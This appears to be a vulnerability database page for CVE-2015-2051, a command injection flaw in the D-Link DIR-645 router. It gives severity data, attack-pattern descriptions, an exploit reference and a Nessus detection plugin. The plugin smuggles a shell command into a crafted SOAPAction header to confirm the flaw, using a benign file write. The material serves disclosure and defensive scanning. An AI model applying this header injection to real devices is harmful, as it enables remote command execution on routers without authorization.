Vulnerabilities > CVE-2015-2051 - Command Injection vulnerability in Dlink Dir-645 Firmware 1.03/1.04/1.04B11

047910
CVSS 9.8 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
low complexity
dlink
CWE-77
critical
nessus
exploit available

Summary

The D-Link DIR-645 Wired/Wireless Router Rev. Ax with firmware 1.04b12 and earlier allows remote attackers to execute arbitrary commands via a GetDeviceSettings action to the HNAP interface.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Cause Web Server Misclassification
    An attack of this type exploits a Web server's decision to take action based on filename or file extension. Because different file types are handled by different server processes, misclassification may force the Web server to take unexpected action, or expected actions in an unexpected sequence. This may cause the server to exhaust resources, supply debug or system data to the attacker, or bind an attacker to a remote process. This type of vulnerability has been found in many widely used servers including IIS, Lotus Domino, and Orion. The attacker's job in this case is straightforward, standard communication protocols and methods are used and are generally appended with malicious information at the tail end of an otherwise legitimate request. The attack payload varies, but it could be special characters like a period or simply appending a tag that has a special meaning for operations on the server side like .jsp for a java application server. The essence of this attack is that the attacker deceives the server into executing functionality based on the name of the request, i.e. login.jsp, not the contents.
  • LDAP Injection
    An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
  • Command Delimiters
    An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Exploiting Multiple Input Interpretation Layers
    An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

Exploit-Db

descriptionD-Link Devices HNAP SOAPAction-Header Command Execution. CVE-2015-2051. Remote exploit for hardware platform
fileexploits/hardware/remote/37171.rb
idEDB-ID:37171
last seen2016-02-04
modified2015-06-01
platformhardware
port
published2015-06-01
reportermetasploit
sourcehttps://www.exploit-db.com/download/37171/
titleD-Link Devices HNAP SOAPAction-Header Command Execution
typeremote

Nessus

NASL familyCGI abuses
NASL idDLINK_CVE-2015-2051.NASL
descriptionThe remote D-Link device is affected by a remote command execution vulnerability due to a flaw in the GetDeviceSettings functionality of the HNAP (Home Network Administration Protocol) server. A remote attacker can exploit this, via a crafted SOAPAction header, to bypass authentication and inject arbitrary commands.
last seen2020-06-01
modified2020-06-02
plugin id84086
published2015-06-10
reporterThis script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/84086
titleD-Link Router HNAP GetDeviceSettings Remote Command Execution
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(84086);
  script_version("1.5");
  script_cvs_date("Date: 2019/11/22");

  script_cve_id("CVE-2015-2051");
  script_bugtraq_id(74870);
  script_xref(name:"EDB-ID", value:"37171");

  script_name(english:"D-Link Router HNAP GetDeviceSettings Remote Command Execution");
  script_summary(english:"Attempts to write a file to the remote device.");

  script_set_attribute(attribute:"synopsis", value:
"The remote device is affected by a remote command execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote D-Link device is affected by a remote command execution
vulnerability due to a flaw in the GetDeviceSettings functionality of
the HNAP (Home Network Administration Protocol) server. A remote
attacker can exploit this, via a crafted SOAPAction header, to bypass
authentication and inject arbitrary commands.");
  # http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?659398bc");
  script_set_attribute(attribute:"solution", value:
"Upgrade the firmware of the device to version 1.05b01.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2015-2051");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/02/13");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/04/24");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/06/10");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/h:d-link:dir-645");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80, embedded:TRUE);

# Verify that this is a d-link device with HNAP
# before we go any further. (Pro-tip: HNAP isn't
# something that can be easily turned off)
res = http_send_recv3(
  method       : "GET",
  port         : port,
  item         : "/HNAP1/",
  exit_on_fail : TRUE
);

if (
  # Ensure vendor is D-Link
  "<VendorName>D-Link</VendorName>" >!< res[2] ||
  # and that the SOAPAction we'll be calling is there
  "<string>http://purenetworks.com/HNAP1/GetDeviceSettings</string>" >!< res[2]
) exit(0, "The device is not an affected D-Link product " +
          "or does not have the affected HNAP function accessible " +
          "from port " + port);

dir = '/HNAP1/';
file = 'nessus_scan.html';

# Command to create a web accessible file on the host
exploit_result = "dlink_cve-2015-2051.nasl " + rand_str(length:10) + " " + unixtime();
exploit_command = 'echo "' + exploit_result + '" > ' + file;

# Notes about the http_send_recv3() call:
# 1. The add_headers arg is crafted to ensure that the
#    Content-Length header is placed before the SOAPAction
#    header.
# 2. There is no exit_on_fail argument because the device
#    does not respond to the exploit request. To confirm
#    the vulnerability, we check for the file we created.
res = http_send_recv3(
  method       : "POST",
  item         : dir,
  port         : port,
  add_headers  : make_array(
    "Content-Length", '1\r\n' +
    "SOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/1;" + exploit_command + ';'
  )
);

# This is used in the report later
exploit_request = http_last_sent_request();

# Check if the file was uploaded successfully
res = NULL;
res = http_send_recv3(
  method: "GET",
  item: dir + file,
  port: port,
  exit_on_fail:TRUE
);

# NOTE: This plugin does not attempt to delete the file
#       on the off-chance that the rm command goes awry.

if (exploit_result >< res[2])
{
  security_report_v4(
    port        : port,
    severity    : SECURITY_HOLE,
    cmd         : exploit_command,
    request     : make_list(exploit_request, build_url(qs:dir+file, port:port)),
    output      : chomp(res[2]),
    rep_extra   : '\nNote that this file has not been removed by Nessus and will need to be' +
                  ' removed manually (' + dir + file + ').'
  );
}
else audit(AUDIT_HOST_NOT, "vulnerable on port " + port);